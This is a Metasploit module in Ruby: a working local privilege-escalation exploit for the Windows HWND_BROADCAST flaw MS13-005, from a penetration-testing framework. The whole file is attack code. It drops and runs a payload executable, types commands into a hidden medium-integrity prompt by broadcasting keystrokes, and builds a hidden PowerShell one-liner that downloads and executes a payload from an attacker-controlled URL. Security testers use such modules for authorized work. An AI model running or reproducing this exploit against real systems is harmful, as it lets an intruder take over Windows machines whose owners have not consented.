modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
'Description' => %q{
Due to a problem with isolating window broadcast messages in the Windows kernel,
an attacker can broadcast commands from a lower Integrity Level process to a
higher Integrity Level process, thereby effecting a privilege escalation. This
issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and
RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+#
does not work in Vista, so the attacker will have to check if the user is already
running a command prompt and set SPAWN_PROMPT false.
Three exploit techniques are available with this module. The WEB technique will
execute a powershell encoded payload from a Web location. The FILE technique
will drop an executable to the file system, set it to medium integrity and execute
it. The TYPE technique will attempt to execute a powershell encoded payload directly
from the command line, but may take some time to complete.
},
'License' => MSF_LICENSE,
'Author' => [
'Tavis Ormandy', # Discovery
'Axel Souchet', # @0vercl0k POC
'Ben Campbell' # Metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 40,
},
'DisclosureDate' => '2012-11-27',
'References' => [
[ 'CVE', '2013-0008' ],
[ 'MSB', 'MS13-005' ],
[ 'OSVDB', '88966'],
[ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_railgun_api_multi
stdapi_sys_config_getenv
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_kill
]
}
}
)
)
register_options(
[
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB', 'FILE', 'TYPE']]),
OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
], self.class
)
end
def low_integrity_level?
tmp_dir = session.sys.config.getenv('USERPROFILE')
cd(tmp_dir)
new_dir = "#{rand_text_alpha(5)}"
begin
session.shell_command_token("mkdir #{new_dir}")
rescue
return true
end
if directory?(new_dir)
session.shell_command_token("rmdir #{new_dir}")
return false
else
return true
end
end
def win_shift(number)
vk = 0x30 + number
bscan = 0x81 + number
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
client.railgun.user32.keybd_event(vk, bscan, 0, 0)
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
end
def count_cmd_procs
count = 0
client.sys.process.each_process do |proc|
if proc['name'] == 'cmd.exe'
count += 1
end
end
vprint_status("Cmd prompt count: #{count}")
return count
end
def cleanup
if datastore['SPAWN_PROMPT'] and @hwin
vprint_status("Rehiding window...")
client.railgun.user32.ShowWindow(@hwin, 0)
end
super
end
def exploit
# First of all check if the session is running on Low Integrity Level.
# If it isn't doesn't worth continue
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
# If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
# integrity process can write.
drop_to_fs = false
if datastore['TECHNIQUE'] == 'FILE'
payload_file = "#{rand_text_alpha(5 + rand(3))}.exe"
begin
tmp_dir = session.sys.config.getenv('TEMP')
tmp_dir << "\\Low" unless tmp_dir[-3, 3] =~ /Low/i
cd(tmp_dir)
print_status("Trying to drop payload to #{tmp_dir}...")
if write_file(payload_file, generate_payload_exe)
print_good("Payload dropped successfully, exploiting...")
drop_to_fs = true
register_file_for_cleanup(payload_file)
payload_path = tmp_dir
else
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
drop_to_fs = false
end
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
drop_to_fs = false
end
end
if drop_to_fs
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
make_it(command)
elsif datastore['TECHNIQUE'] == 'TYPE'
if datastore['CUSTOM_COMMAND']
command = datastore['CUSTOM_COMMAND']
else
print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
end
make_it(command)
else
super
end
end
def primer
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
command = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => download_and_run
})
make_it(command)
end
def make_it(command)
if datastore['SPAWN_PROMPT']
@hwin = client.railgun.kernel32.GetConsoleWindow()['return']
if @hwin == nil
@hwin = client.railgun.user32.GetForegroundWindow()['return']
end
client.railgun.user32.ShowWindow(@hwin, 0)
client.railgun.user32.ShowWindow(@hwin, 5)
# Spawn low integrity cmd.exe
print_status("Spawning Low Integrity Cmd Prompt")
windir = session.sys.config.getenv('windir')
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, { 'Hidden' => false }).pid
count = count_cmd_procs
spawned = false
print_status("Brute forcing Taskbar Position")
9.downto(1) do |number|
vprint_status("Attempting Win+Shift+#{number}")
win_shift(number)
sleep(1)
if count_cmd_procs > count
print_good("Spawned Medium Integrity Cmd Prompt")
spawned = true
break
end
end
client.sys.process.kill(li_cmd_pid)
fail_with(Failure::Unknown, "No Cmd Prompt spawned") unless spawned
end
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
multi_rail = []
command.each_char do |c|
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]]
end
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]]
print_status("Executing command...")
client.railgun.multi(multi_rail)
end
def on_request_uri(cli, request)
print_status("Delivering Payload")
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
end